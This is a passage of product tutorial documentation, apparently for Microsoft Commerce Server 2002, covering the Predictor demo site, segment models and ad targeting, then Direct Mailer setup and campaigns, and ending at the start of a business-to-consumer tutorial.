  2. In the Populate.sql file, change all five instances of c:\DemoData to <drive:>\Program Files\Microsoft Commerce Server 2002\Predictor Tutorial\.
  3. Save the file, and then close Notepad.


Step 2: Unpack the Predictor Demo Site

  1. Using Windows Explorer, navigate to <drive:>\Program Files\Microsoft Commerce Server 2002\Predictor Tutorial\, and then double-click the PredictorDemoSite.pup file.
  2. In the Unpack dialog box, select Quick unpack, and then click Next.
  3. In the Quick Unpack dialog box, do the following:
    Use this | To do this
    Site name | Verify that the Site name is PredictorDemo. Do not change the Site name.
    IIS Web site | Select the name of the Internet Information Services (IIS) 5.0 Web site where the applications will be installed.
    SQL Server Computer | Type the name of the SQL Server on which you want the site databases to be created.
    Use Windows Integrated Security | Do not use the Windows Integrated Security option for setting up the Predictor demo Site.
    Use a specific user name and password | Select this option to use SQL Server authentication when connecting to the databases.
    SQL Server Login Name Type a SQL Server login user name that has permissions on the SQL Server on which the site databases are to be created.

    Note

    • For security purposes, do not use the sa login for access to the databases. To change the login information for the Administration database after it is created, use SQL Server Enterprise Manager.
    SQL Server Login Password | Type the SQL Server login password for the databases.
  4. Click Next.
  5. In the Data Warehouse dialog box, do the following:
    Use this | To do this
    Name | Accept the default name.
    Server | Type the name of the SQL Analysis Server that the Data Warehouse will use.
    Database | Type the name of the Analysis Services (OLAP) database.
  6. Click OK.
  7. In the Profiling System dialog box, accept the default .xml files, and then click Next.
  8. In the next Profiling System dialog box, in the Data population scripts box, click Browse.
  9. In the Open dialog box, navigate to <drive:>\Program Files\Microsoft Commerce Server 2002\Predictor Tutorial\, select the Populate.sql file from the list, and then click Open.
  10. Click OK.
  11. In the Unpacking is complete dialog box, review the list of SQL Server databases and IIS applications that were created. To review the list of events in the Site Packager log file, click View Log File.

    Note

    • If you encounter any errors during setup, it is recommended that you view the log file to determine the source of the error.
  12. To close Site Packager, click Finish.


Step 3: Install the Predictor Demo Business Desk Application

  1. Click Start, point to Programs, and then click Internet Explorer.
  2. In the Address box, type the URL for your installation of the Business Desk (for example, http://<computername>/PredictorDemoBizdesk), and then press Enter.
  3. In the Browse for Folder dialog box, accept the default folder, or select another folder to store the HTML Application (HTA) file, and then click OK.

    The Business Desk Client Setup begins. If the Microsoft ActiveX controls have not been downloaded, troubleshooting tips are displayed in the upper section of the Business Desk Client Setup screen. Microsoft ActiveX controls are needed to install the Business Desk Client.

    In the lower section of the screen, check marks appear when each task is complete. When all four tasks are complete, the Business Desk installation is complete. A link to Business Desk is displayed at the bottom of the screen.

    Note

    • If you are unable to download the ActiveX controls, follow the instructions on the Business Desk Client Setup screen.
  4. When you have completed the Business Desk installation, close Internet Explorer.

The Business Desk icon now appears as a shortcut on your desktop and on the Start menu.


Lab 2: Importing Data into the Data Warehouse

The sample data provided in the Predictor Tutorial contains Web logs and transactional and demographic data that will be used to build analysis models.

To import the sample data into the Data Warehouse, do the following:

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
  2. In the SQL Server Enterprise Manager, expand Microsoft SQL Servers, expand SQL Server Group, expand your SQL server, right-click Data Transformation Services, and then click Open Package.
  3. In the Select File dialog box, navigate to <drive:>\Program Files\Microsoft Commerce Server 2002\Predictor Tutorial\, select the file ImportData.dts, and then click Open.
  4. In the Select Package dialog box, select the PredictorDemo Import Data from the list, and then click OK.
  5. In the SQL Server Enterprise Manager, right-click Microsoft OLEDB Provider for SQL Server, and then click Properties.
  6. In the Connection Properties dialog box, verify the Microsoft SQL Server authentication credentials, and then click OK.
  7. Right-click Transaction data import task, and then click Properties.
  8. In the Properties dialog box, verify that the Operation level is shown as Site level, and that the Sitename is PredictorDemo, and then click OK.
  9. Repeat steps 7 and 8 for the Profile Data Import, Campaign data import, and Product catalog import tasks.
  10. In SQL Server Enterprise Manager, click Execute on the toolbar.
  11. In the Package Execution Results dialog box, click OK.
  12. In the Executing DTS Package: Import data to the data warehouse dialog box, click done when all the tasks are completed.

    Note

    • If you encounter any errors during setup, it is recommended that you view the log file to determine the source of the error.
  13. Exit SQL Server Enterprise Manager.


Lab 3: Building a Segment Model

You use the Segment Viewer module to perform segmentation (or clustering) analysis. In segmentation analysis, users are grouped into segments according to their behavior on the site and by their properties, such as age and gender.

The result of the segmentation process is a Segment model. The Segment model describes the shared characteristics of the users belonging to a segment or a group of segments. Segments and segment groups are created in Commerce Server Manager from data in your Data Warehouse.

You use the Segment Viewer module to examine a single segment or to compare one segment to another. You also use the Segment Viewer module to create a summary report of all your segments and to export a segment to a list.

To create a Segment model, do the following:

  1. Click Start, point to Programs, point to Commerce Server 2002, and then click Commerce Server Manager.
  2. In Commerce Server Manager, expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then select Model Configurations.
  3. In the Commerce Server Manager content pane, right-click DemoTransactions, and then select Build.
  4. In the Build Model Properties dialog box, do the following:
    Use this | To do this
    Name | Type Software Segments.
    Model type | Select Segment as the analysis model type.
  5. Click Next.
  6. In the Build Model Properties dialog box, in the Measured accuracy sample fraction box, type 0.1, and then click Finish.

    Notes

    • Measured accuracy sample fraction is the fraction of properties that are used as input to the predictions. For example, specifying an input attribute fraction of 0.05 selects the most significant 5 percent of input attributes. The default value is 1.0, which includes all attributes as inputs for prediction. Values less than 1.0 are recommended if the number of attributes is very large, such as product recommendations for a catalog with over 1,000 products.
    • For more information about the Model Build Properties dialog box, see Model Build Properties.


Lab 4: Analyzing the Segment Model

When you analyze segments, you work with two elements: segments and segment groups.

  • Segments are clusters of users that exhibit similar behavior on your Web site or have similar properties, such as age and gender. A segment consists of a summary of the database records that belong to a group of users who share similar profile properties. The summary is derived from properties in the Data Warehouse used to cluster the database records.
  • Segment groups are collections of similar segments or other segment groups.

The segment groups form a hierarchy from which you can analyze trends and discover correlations within the data at different levels of the segment hierarchy. By grouping users according to their similarities, new correlations may become apparent to you. These newly recognized correlations could form the basis for targeting and personalization rules.

To analyze the Segment model

  1. Start the Predictor Demo Business Desk.
  2. In Analysis, click Segment Viewer.
  3. In the Segment Viewer screen, select Software Segments, and then click Open.
  4. In the Segment Viewer: Software Segments screen, note the following:

    Software Segments Model

    • The segment hierarchy in the navigation box represents the entire population. (100 percent). The Segment hierarchy consists of segments and segment groups. A segment is a collection of users with similar property values, for example, users who have made similar purchases. A segment group is a set of similar segments.
    • The Summary of Population box displays a list of the most likely properties and their values in the entire population. The longer the red bar, the more likely the Property/Value pair is in the population.
  5. In the Segment hierarchy pane, expand Population (100%), expand all the segments and segment groups, and then note the following:

    • The summary of Segment 5 displays the most likely property/value pairs associated with users in this segment. In this example, Money 2000 Business & Personal.QTY with the value 3 indicates that most users in this segment purchased 3 copies of Microsoft Money 2000 Business and Personal.
    • You can compare segments: The Compare Segment 5 to dropdown box has Population selected by default. However, you can select any segment or segment group for a comparison between the selected segment and rest of the segments present in the segment model.
    • Yellow bars indicate the property/value pairs that increase the membership a user in cluster 5. In this example, Baseball 2000.QTY with value of 1 means a user who purchased a copy of Microsoft Baseball 2000 becomes a member of segment 5.
    • Blue bars indicate the property/value pairs that decreases the membership of a user from segment 5. In this example, Windows 98 Second Edition.QTY with a value of 2 means a user who bought two copies of Microsoft Windows 98 Second Edition is less likely to be a member of segment 5.
    • Purchases of Baseball 2000 and Microsoft NBA Inside Drive 2000 place a user in segment 5. This implies that the users in cluster 5 are sports computer games fans compared to the rest of the segments in the total population.
    • You can rename segments to make the names meaningful and easier to browse.
  6. In Segment hierarchy, select Segment 5, and then click Rename.
  7. In the Rename Segment dialog box, in the Rename to box, type Sports Computer Games Fans, and then click OK.
  8. In Segment hierarchy, select Segment 7, and then note the following:
    • Users in the cluster 7 purchased Site Server 3.0, Commerce Edition and SQL Server 7. This implies that the users in cluster 7 are Web Developers.
  9. In Segment hierarchy, select Segment 7, and then click Rename.
  10. In the Rename Segment dialog box, in the Rename to box, type Web Developers, and then click OK.
  11. In Segment hierarchy, select Segment Group 14, and then note the following:
    • The Comparing Segments section provides summary and other comparison information for segments as well as segment groups.
    • You should view all the segments and segment groups within a model to get a better understanding of the segment model.
  12. Analyze all segments in Segment Group 14 to deduce that it represents home users.
  13. Rename Segment Group 14 to Home Users.
  14. In the Segment hierarchy pane, select Segment Group 12, and then note that the group represents small business users.
  15. Rename Segment Group 12 to Small Business Users.
  16. In the Segment hierarchy pane select Segment 3, and then note that the group represents developers.
  17. Rename Segment 3 to Developers.

  18. In the Segment Viewer: Software Segments screen, click Report on the toolbar to view the summary report of the entire Segment model.
    • You can save this report to a file by saving the Model Summary Web page from your Internet browser.
    • You can also export user lists. User lists are used by Commerce Server 2002 to create a direct mail campaign to target users who are likely to buy a specific product.
  19. In the Segment hierarchy section, select Web Developers, and then click Export on the toolbar.
  20. In the Export Segment to List dialog box, do the following:
    Use this | To do this
    Enter list name | Type Web Developers.
    Minimum probability Verify that the value is 0.50.

    In Commerce Server 2002, every user is a partial member of all the segments. Segments tend to overlap with less distinct boundaries. So, a user may be 80% member of one group and a fractional member of the rest. The higher the fractional value assigned to the user, the closer the property values of the user are to the property values of the typical user in the segment. This fractional value of a user is the probability of membership for the given segment.

    The Minimum probability sets a threshold criterion for including a user in the export list. If the probability of membership of a user exceeds the specified threshold, the user is not included in the export list.

    If the Minimum probability is set to be high (close to 1), then only a small number of users will be included in the user list. However, if the value is set to be low (close to 0), then many users will be included in the export list.
  21. Click OK.


Lab 5: Mapping a Custom Profile Property to the List of Users

In order to target an Ad campaign to all the users in the Web Developers list, you must add a custom profile property in the User Object and then map the custom profile property to the list of users.

This section contains:

  • Step 1: Add a custom profile property
  • Step 2: Map the custom property to the list of users


Step 1: Add a custom profile property

  1. In Profiles, click Profile Definition Designer.
  2. In the Profiles screen, select User Object, and then click [image] on the toolbar.
  3. In the Profile: User Object screen, in the Properties list, select General Information, and then click Add.
  4. In the Add dialog box, select the Add a new property option, and then click OK.
  5. In the Attributes section, do the following:
    Use this | To do this
    Name | Type ListName.
    Display name | Type ListName.
    Description | Type User List Name.
    Type | Select the String property type from the drop-down list.
  6. In the Advanced Attributes section, do the following:
    Use this | To do this
    Active | Specify the new property as Active.
    Map to data Click the ellipsis […] button to open the Data Source Picker dialog box.

    In the Data Source Picker dialog box, under the User Object, select the Custom Property 1 (STRING) data member for the property.

    Key type | Leave this blank.
    Required | Clear this option.
    Exported | Clear this option.
    Defer cache load | Clear this option.
    Multi-valued | Clear this option.
    Searchable | Clear this option.
  7. To apply the new property and display it in the Properties list, click Apply.
  8. To save the property, click Save on the toolbar to save the profile.

The profile definition is saved with the new property. After you add a property to a profile definition, you must publish the changes on your Web site.


Step 2: Map the custom property to the list of users

  1. In Profiles, click Users.
  2. If the Find pane is not open, click Find on the toolbar.
  3. In the Find by box, select User lists from the drop-down list.
  4. In the List Name pane, select Web Developers, and then click Find Now.
  5. Click Select All to select all the users, and then click [image] on the toolbar.
  6. In the Update all selected profiles screen, click New.
  7. In the expression builder, select User Object from the drop-down box, click General Information, and then select ListName.
  8. In the second drop-down box, select is equal to.
  9. In the third box, type WebDeveloper, and then click Save and go back on the toolbar.
  10. In Profiles, click Publish Profiles.
  11. In the Publish Profiles screen, select the site that you want to publish profile definition changes to, and then click Publish profile changes to production and refresh the cache on the toolbar.


Lab 6: Creating a Campaign Expression

You create campaign expressions to define the products or categories of products to which you want to apply a discount, and to specify the users to whom you want to target your ads and discounts. In this scenario, we will create an expression to target ads based upon the membership of a user in the WebDeveloper ListName, and then create a target group for Web Developers.

This section contains:

  • Step 1: Create a target expression for Web developers
  • Step 2: Create a target group for Web Developers


Step 1: Create a target expression for Web developers

  1. In Campaigns, click Campaign Expressions.
  2. In the Campaign Expressions: Target Expressions screen, click New on the toolbar.
  3. In the Target Expression dialog box, do the following:
    Use this | To do this
    Name | Type WebDeveloper.
    Description | Type WebDeveloper.
    Target based on the following conditions:
    • First box. Select User Object from the drop-down list, , and then select ListName under General Information.
    • Second box. Select is equal to as an operator from the drop-down list.
    • Third box. Type WebDeveloper.
  4. Click Apply.
  5. The new target expression is added to the Target based on the following conditions box.
  6. To save the target expression and return to the Campaign Expressions: Target Expressions screen, click save and back .


Step 2: Create a target group for Web developers

  1. In Campaigns, click Target Group.
  2. In the Target Group screen, click New on the toolbar.
  3. In the Target Group: New screen, do the following:
    Use this | To do this
    Target group name | Type WebDeveloper. Click New.
    Expression | Select WebDeveloper from the drop-down list.
    Action | Select the Require action for the new target group from the drop-down list.
  4. To save the target group and return to the Target Group screen, click Save and go back on the toolbar.


Lab 7: Creating an Ad Campaign

You use the Campaign Manager module to create an ad for a specific campaign. You select the type of ad, which can be either a paid ad or a house ad depending on the Need of Delivery (NOD) schedule. You can also set a limit on how many times you want to show a user a piece of content within a user session. To prevent two ads from competing companies in the same industry from appearing on the same page, you can select an industry code for the ad.

In this scenario, we will create a new ad campaign for Web Developers and make use of the campaign expression that we created in Module 6.

To create a new ad campaign, do the following:

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, expand Microsoft Advertising, expand Advertising Demo Ads, click New on the toolbar, and then select New Ad from the drop-down list to create the new ad.
  3. In the Campaign Manager <Customer> <Campaign> New (ad) screen, in the Ad Properties screen, do the following:
    Use this | To do this
    Ad name | Type WebDevAd.
    Status | Select Active.
    Type | Select House Ad from the drop-down list.
  4. In the Ad Target section, in the Target groups box, select WebDeveloper, and then click Add.
  5. In the Ad Display section, do the following:
    Use this | To do this
    Size | Select Full Banner (468x60) from the drop-down box.
    Type | Select Image from the drop-down box.
    Image URL | Type the location for the Commerce Server 2002 ad.
    Click URL | Type http://www.microsoft.com/CommerceServer.
  6. To save the ad and return to the Campaign Manager screen, click Save and go back on the toolbar.
  7. In Campaigns, click Publish Campaigns.
  8. In the Publish Campaigns screen, select the campaign item you want to publish, and then click Publish on the toolbar.

    The campaign item is sent to production. The site is updated to include the new campaign item.


Lab 8: Verifying your Ad Campaign

To verify that the ad campaign works for the users that were identified by the Segment model, you must first log in to the Predictor Demo Site as a user in the Web Developers user list to see the Commerce Server 2002 banner ad. In order to authenticate as a user from the Web Developers user list, you need the user ID and the password for the user. Because passwords in Commerce Server 2002 are encrypted, you will reset the password for one of the users.

This section contains:

  • Step 1: Get the user ID and password for a user in the user list
  • Step 2: Log in as a user onto the Predictor Demo site


Step 1: Get the user ID and password for a user in the user list

  1. In Profiles, click Users.
  2. If the Find pane is not open, click Find on the toolbar.
  3. In the Find by box, select User lists from the drop-down list.
  4. In the List Name pane, select Web Developers, and then click Find Now.
  5. Select any user from the list (for example, Jane User), and then click Open on the toolbar.
  6. In the Update Profile: <User Name> screen, in the General Information section, in the User password box, click the ellipsis [...] button.
  7. In the Password Reset dialog box, do the following:
    Use this | To do this
    New Password | Type password.
    Confirm Password | Type password.
  8. Click Ok.
  9. In the Business Desk section, in the Partner service roles flags, select Normal User from the drop-down list, and then click Save and go back on the toolbar.


Step 2: Log in as a user onto the Predictor Demo site

  1. Start Internet Explorer, and then go to http://localhost/predictordemo to visit the Predictor Demo site.
  2. Using the user ID and password from Step 1, log in to the site.

The Commerce Server 2002 banner ad is displayed.


Direct Mailer Tutorial

You create direct mail to distribute e-mail to a targeted group of users to achieve a high response rate from your mailings and increase sales and Web site traffic. You can create direct mail messages that include attachments containing information you want to send with the direct mail. The Direct Mail service is designed to send bulk personalized e-mail messages to millions of users.

In this tutorial, you are a system administrator for the Adventure-Works Company, which sells camping gear. Your campaign manager wants to distribute personalized e-mail message ads promoting a line of hiking boots to new registered users using Direct Mailer.

For more information about Direct Mailer, see Running Direct Mailer. For information about the architecture of Direct Mailer, see Processing Direct Mail.

This section contains:

  • Preparing to Use the Direct Mailer Tutorial
  • Lab 1: Setting up Direct Mailer
  • Lab 2: Developing the Message Body for Delivery
  • Lab 3: Creating a Marketing Campaign
  • Lab 4: Creating the Direct Mail
  • Lab 5: Monitoring Direct Mailer Job Status


Preparing to Use the Direct Mailer Tutorial

You need to perform the following preparatory tasks before you begin the Direct Mailer tutorial.

Notes

  • Prior to performing the steps listed below, you must install Commerce Server using the instructions in the Installation Guide, for a single computer.
  • If you configure your site for Windows Integrated Security, you must give permissions to the service accounts under which the Direct Mailer and List Manager run. For information about configuring the Commerce Server Direct Mail service to work with Windows Integrated Security, see Securing Service Accounts .
  • It is recommended that you do not install the tutorial on a computer that is running Commerce Server in a production environment.

This section contains:

  • Unpack the Retail Site for the Direct Mailer Tutorial
  • Install the Retail Business Desk Application
  • Create and Import the NewUsers List
  • Add User Profiles


Unpack the Retail Site for the Direct Mailer Tutorial

You must use Commerce Server Site Packager to unpack the Retail site used in the Direct Mailer tutorial. For instructions about unpacking a site, see Installing Commerce Server 2002.


Install the Retail Business Desk Application

After you unpack the Retail site, you can install the Commerce Server Business Desk client by connecting to the Uniform Resource Locator (URL) for the Business Desk application.

To install the Business Desk client

  1. Click Start, point to Programs, and then click Internet Explorer.
  2. In the Address box, type the URL for your installation of the Retail Business Desk (for example, http://<computername>/RetailBizdesk), and then press Enter.
  3. In the Browse for Folder dialog box, accept the default folder, or select another folder to store the HTML Application (HTA) file, and then click OK.

    The Business Desk Client Setup begins. If the Microsoft ActiveX controls have not been downloaded, troubleshooting tips are displayed in the upper section of the Business Desk Client Setup screen. Microsoft ActiveX controls are needed to install the Business Desk client.

    In the lower section of the screen, check marks appear when each task is complete. When all four tasks are complete, the Business Desk installation is complete. A link to Business Desk is displayed at the bottom of the screen.

    Note

    • If you are unable to download the ActiveX controls, follow the instructions on the Business Desk Client Setup screen.
  4. When you have completed the Business Desk installation, close Internet Explorer.

The Business Desk icon now appears as a shortcut on your desktop and the Start menu.


Create and Import the NewUsers List

Before you can create a direct mail campaign, you must create the NewUsers list, and import it into List Manager. This will be the list of users to whom you will send your direct mail message.

Note

  • For the purposes of this tutorial, you will use the NewUsers list for your direct mail campaign. However, in a production environment, your developer will run a New Registered Users report and export it to List Manager.

For more information about importing a list into List Manager, see Importing and Exporting Lists.

To create the NewUsers list

To import the NewUsers list

To create the NewUsers list

  1. Copy and paste (or type) the following list into Notepad:
BettyUser@microsoft.com,BettyUser
JackUser@Microsoft.com,JackUser
JaneUser@Microsoft.com,JaneUser
JoeUser@Microsoft.com,JoeUser
  1. Name the list NewUsers, and save it in <drive letter>:\ProgramFiles\Microsoft Commerce Server 2002.

You can now import the list into List Manager.

To import the NewUsers list

  1. In Business Desk, in Campaigns, click List Manager.
  2. In the List Manager screen, click Import on the toolbar.
  3. Click File from the drop-down list.
  4. In the Import a list dialog box, do the following:
    Use this | To do this
    List type | Select the Static option.
    Type name of list to copy to | Type NewUsers.
    Specify a file on the server | Type <drive letter>:\Program Files\Microsoft Commerce Server 2002\NewUsers.txt.
  5. Click OK.

The NewUsers list appears in List Manager. Later in the tutorial, you will use this list in your direct mail campaign.


Add User Profiles

In this tutorial, you will develop a personalized Active Server Page (ASP) page that provides a personalized message body to Direct Mailer. For example, the e-mail will start with "Dear <name of the e-mail recipient>" instead of "Dear Site Visitor." The mailing list you use includes both an e-mail address and a user ID for all entries. For each recipient in the mailing list, Direct Mailer generates a User Profile Manager cookie based on the user ID.

In this lab, you will add four user profiles in Microsoft SQL Server.

Note

  • You are adding the user profiles in Microsoft SQL Server, so you can enter the user ID for each recipient. The user ID in the user profile must match the user ID for each recipient in the mailing list.

To add a user profile

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
  2. Expand the nodes to the following path: \Microsoft SQL Servers\SQL Server Group\<SQL Server Name>\Databases\Retail_commerce, and then click Tables.
  3. In the right pane, scroll down and right-click the UserObject table, point to Open Table, and then click Return all rows.
  4. Input the following information for Betty User:
    Field | Type this
    g_user_id | BettyUser
    u_user_title | System Administrator
    u_first_name | Betty
    u_last_name | User
    u_email_address | BettyUser@microsoft.com
    U_logon_name | BettyUser
  5. Input the following information for Jack User:
    Field | Type this
    g_user_id | JackUser
    u_user_title | System Administrator
    u_first_name | Jack
    u_last_name | User
    u_email_address | JackUser@microsoft.com
    U_logon_name | JackUser
  6. Input the following information for Jane User:
    Field | Type this
    g_user_id | JaneUser
    u_user_title | System Administrator
    u_first_name | Jane
    u_last_name | User
    u_email_address | JaneUser@microsoft.com
    U_logon_name | JaneUser
  7. Input the following information for Joe User:
    Field | Type this
    g_user_id | JoeUser
    u_user_title | System Administrator
    u_first_name | Joe
    u_last_name | User
    u_email_address | JoeUser@microsoft.com
    U_logon_name | JackUser
  8. Close SQL Server Enterprise Manager.


Lab 1: Setting up Direct Mailer

In this lab, you set up Direct Mailer to use a drop directory. When you use a drop directory, your Direct Mailer jobs can be processed by a Microsoft Exchange Server, which delivers your files asynchronously. Because the link between Direct Mailer and Exchange is asynchronous, the jobs may be delivered at a quicker rate. For more information about configuring Direct Mailer, see Configuring Direct Mailer.

To control the way your Direct Mailer job is run, you must modify the Direct Mailer properties. In this step, you will set up the Direct Mailer delivery location to use a drop directory.

To set up Direct Mailer to use a drop directory

  1. Expand Commerce Server Manager, expand Global Resources, right click Direct Mail on <server name>, and then click Properties.
  2. In the DirectMail on <server name> Properties dialog box, on the Properties tab, do the following:
    Use this (Properties) | To do this (Selected Property Value)
    Delivery Locations | Type <drive letter>:\Program Files\Microsoft Commerce Server 2002\DML_drop.
    Delivery Method | Type 2 to deliver the direct mail to the drop directory.
    Log Folder Path | Verify the path <drive letter>:\WINNT\System32\LogFiles as your log folder.
    Number of Retries | The number of times a connection to the DirectMailer database is retried if a connection failure occurs. Leave the default value, 10.
    Pipeline Configuration File | The path to the location of the pipeline configuration file, DMLPipe.pcf. Leave the default <drive letter>:\Program Files\Microsoft Commerce Server 2002.
    Retry Interval | The number of seconds before a connection to the database is retried. Leave the default value, 30.
  3. Click OK.


Lab 2: Developing the Message Body for Delivery

In this lab, you will develop a personalized Active Server Page (ASP) page that provides a personalized message body to Direct Mailer. There are multiple methods of developing content for your direct mail message. For information about Direct Mailer message formats, see Message Formats.

For the purposes of this tutorial, you will use the file ServiceReminder.asp to create the Direct Mail content. This ASP file will contain a personalized e-mail message telling your new users about products the Adventure-Works Company is adding to their Web site. The ASP file also includes an opt-out link so that the recipient can request to be removed from the mailing list.

To develop a personalized Active Server Page (ASP) page

  1. In <drive letter>:Inetpub\wwwroot\retail, open the ServiceReminder.asp file in Notepad to modify your ASP page.
  2. In the ServiceReminder.asp page, do the following:
    Change this | To this
    From: E-mail Notifier | From: Adventure-Works
    Subject: New product notice | Subject: New customer notice.

    Note

    • In this ASP page, the UserID is retrieved from the AuthManager object as strUserID = objAuthManager.GetUserID(1). Direct Mailer receives the authentication cookie while accessing the ASP file. The UserObject profile is retrieved from the profile service.
  3. Save and close the ASP file.


Lab 3: Creating a Marketing Campaign

In this lab, you create a marketing campaign using direct mail to recognize your new users. A marketing campaign uses communication vehicles such as direct mail to accomplish a specific result, such as increasing marketing share, introducing new products, or retaining customers. A marketing campaign represents one or more contracts or orders from a customer. To create your marketing campaign, you add a customer to the Campaign Manager module, and then you create an advertising campaign for that customer.

  • Step 1: Adding a campaign customer
  • Step 2: Adding a campaign


Step 1: Adding a campaign customer

  1. In Commerce Server Business Desk, in Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, click New on the toolbar, and then select New Customer from the drop-down list.
  3. In the Campaign Manager - New (customer) screen, in the Customer Properties section, do the following:
    Use this | To do this
    Name | Type Adventure-Works.
    Type | Select Self from the drop-down list.
    Industry Select Travel from the drop-down list.

    Note

    • You use industry codes to identify the associated industry of an ad, thus preventing two ads from competing companies in the same industry from appearing on the same page. For information about Industry Codes, see Adding Industry Codes.
  4. To save the new customer and return to the Campaign Manager screen, click Save and go back on the toolbar.

The new customer, Adventure-Works, is saved and appears in the Campaign Manager screen.


Step 2: Adding a campaign

  1. In the Campaign Manager screen, select Adventure-Works.
  2. In the Campaign Manager screen, click New on the toolbar, and then select New Campaign from the drop-down list.
  3. In the Campaign Manager – Adventure-Works – New (campaign) screen, in the Campaign Properties section, do the following:
    Use this | To do this
    Campaign Name | Type New Users.
    Start date | Select yesterday's date from the drop-down calendar.
    End date | Select a date one month from today from the drop-down calendar.
    Status | Select Active from the drop-down list.
  4. To save the campaign and return to the Campaign Manager screen, click Save and go back on the toolbar.

The New Users campaign is saved.


Lab 4: Creating the Direct Mail

In this lab, you create your direct mail campaign item. You will send direct mail to a list of new registered users, and offer them a special discount on hiking boots. You also send test mail and verify that it was sent.

For this tutorial, assume your site developer imported your log file data from the last two months and ran the following New Registered Users static report. After your developer ran the report, they exported it as a list to List Manager. (For the purposes of this lab, you will use the NewUsers list you imported to List Manager in the Preparing to Use the Direct Mailer Tutorial lab.)

New Registered User report

For information about importing log file data and running reports, see Running Reports.

In this lab, you will perform the following steps:

  • Step 1: Creating a Direct Mail campaign item
  • Step 2: Verifying that the test mail was sent


Step 1: Creating a Direct Mail campaign item

Note

  • Before you create a direct mail campaign, ensure that SQL Server Agent is running. If SQL Server Agent is not running, you will not be able to save your Direct Mail campaign.
  1. In Campaigns, click Campaign Manager.
  2. On the Campaign Manager screen, expand Adventure-Works, and then select the New Users campaign.
  3. Click New on the toolbar, and then select New Direct Mail from the drop-down list.
  4. In the Campaign Manager – Adventure-Works – New Users – New (direct mail) screen, in the Direct Mail Properties section, do the following:
    Use this | To do this
    Direct mail name | Type TargetedMail.
    Message from e-mail address | Type WebMaster@Adventure-Works.com.
    Message subject | Type Special discount on hiking boots for our new customers.
    File path or URL containing
    message body         		Type http://<server_name>/retail/
    servicereminder.asp    .
    Mailing list | Select NewUsers from the drop-down list.
    Personalize direct mail per user | Verify that this check box is selected because you are sending a personalized direct mail message for this tutorial.
    Mail Format Select MHTML from the drop-down list.

    For information about mail formats, see Message Formats.
  5. In the Mail Schedule section, do the following:
    Use this | To do this
    Start Date | Select today's date from the drop-down list.
    Start Time Select the next full hour after the current hour from the drop-down list.

    Note

    • Time is in 24-hour mode. For example, if is the time is currently 2:45 P.M., select 1500 from the drop-down list.
    Mailing Interval | Verify that One time only is displayed.
  6. In the Test section, do the following:
    Use this | To do this
    Test | Select NewUsers from the drop-down list.
    Send Test Mail | Click to send test mail.
  7. In the Direct Mail dialog box, click Yes.
  8. To return to the Campaign Manager screen, click Back on the toolbar.

The direct mail campaign is added to the Campaign Manager module. Proceed to Step 2: Verifying that the test mail was sent.


Step 2: Verifying that the test mail was sent

In Lab 1: Setting up Direct Mailer, you specified that the e-mail messages be dropped to a drop directory. You can test to verify that the e-mail was sent to the DML drop directory on your server.

  1. Navigate to the DML_drop directory on your server. Using Windows Explorer, navigate to <drive letter:>\Program Files\Microsoft Commerce Server 2002\DML_drop. The file with the extension ".eml" containing the direct mail message appears.
  2. To view the test e-mail, double-click the .eml files.

The test mail should resemble the following e-mail:

Direct Mailer message

In this test mail, the UserID is retrieved from the AuthManager object, and the UserObject profile is retrieved from the profile service.


Lab 5: Monitoring Direct Mailer Job Status

In this lab, you use SQL Server Agent to view the status of your Direct Mailer job, and to start the job before the job is scheduled to run.

You use the command line interface to check the status of your Direct Mailer job. For information about errors that may occur while running your Direct Mailer job, see Monitoring Direct Mailer Jobs.

  • Step 1: Viewing the status of your Direct Mailer job in SQL Server Agent
  • Step 2: Starting a Direct Mailer job in SQL Server Agent
  • Step3: Monitoring the status of your Direct Mailer job


Step 1: Viewing the status of your Direct Mailer job in SQL Server Agent

You use SQL Server Agent, which runs continually, to view details about your Direct Mailer jobs. You can check status, the date and time the Direct Mailer jobs were last run, and the next scheduled run time.

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
  2. Expand the nodes to the following path: \Microsoft SQL Servers\SQL Server Group\<SQL Server Name>\Management\SQL Server Agent.
  3. Click Jobs.

The Direct Mailer jobs appear in the right pane of the SQL Server Enterprise Manager.


Step 2: Starting a Direct Mailer job in SQL Server Agent

You use SQL Server Agent to start and stop you mail jobs, and to view your job history.

  1. Expand the nodes to the following path: \Microsoft SQL Servers\SQL Server Group\<SQL Server Name>\Management\SQL Server Agent.
  2. Click Jobs. The Direct Mailer jobs appear in the right pane of the SQL Server Enterprise Manager.
  3. Right-click the Direct Mailer job, and then click Start Job.

Note

  • To reschedule a Direct Mailer job, you use the Campaigns Manager module in Commerce Server Business Desk.


Step 3: Monitoring the status of your Direct Mailer job

You use the command line interface to determine if the Direct Mailer job containing your mailing is currently running, has been suspended or terminated, or has completed successfully.

  • At the command line, type DmlRun /list to view all Direct Mailer jobs.

The list of Direct Mailer jobs is displayed.

The following table lists job status codes.

Code | Description
0 | The job was created but not initialized.
1 | The job was completely defined but not running (Inactive) or the job was terminated.
2 | The job completed.
3 | The job is running (Active).
4 | The job is running but currently suspended (paused, but still Active).
-2 | The job was stopped by Direct Mailer due to serious problems or because the error threshold limit was reached.
-3 | The job was defined as css_site, but not all the data was available at run time.


Business-to-Consumer Tutorial

Microsoft Commerce Server 2002 contains a comprehensive set of tools to help you build e-commerce applications for the Web. This tutorial provides step-by-step instructions to show you how to use Commerce Server to manage your Web site.

This section contains:

  • About the Business-to-Consumer Scenario
  • Preparing to Use the Tutorial
  • Lab 1: Building Your Catalog
  • Lab 2: Creating a Marketing Campaign
  • Lab 3: Analyzing Product Sales


About the Business-to-Consumer Scenario

You are a business manager for the Adventure Works company, which sells camping gear. Currently you offer your products through mail-order catalogs, but now you have hired a developer to create a Web site so that you can sell camping gear online.

Your current Adventure Works catalog is stored in the AdvWrksCatalog.xml file. Because you plan to sell products to customers in both the United States and Europe, you will design your Web site to handle transactions using both U.S. dollar and euro currencies. In addition, you will create a new catalog for your new Camping Maps division.

In this tutorial, you will:

  • Import your existing base catalog into Business Desk
  • Create a new base catalog
  • Create a virtual catalog to combine your two base catalogs
  • Create an ad campaign, which appeals to a specific group of outdoor enthusiasts who shop on your Web site


Preparing to Use the Tutorial

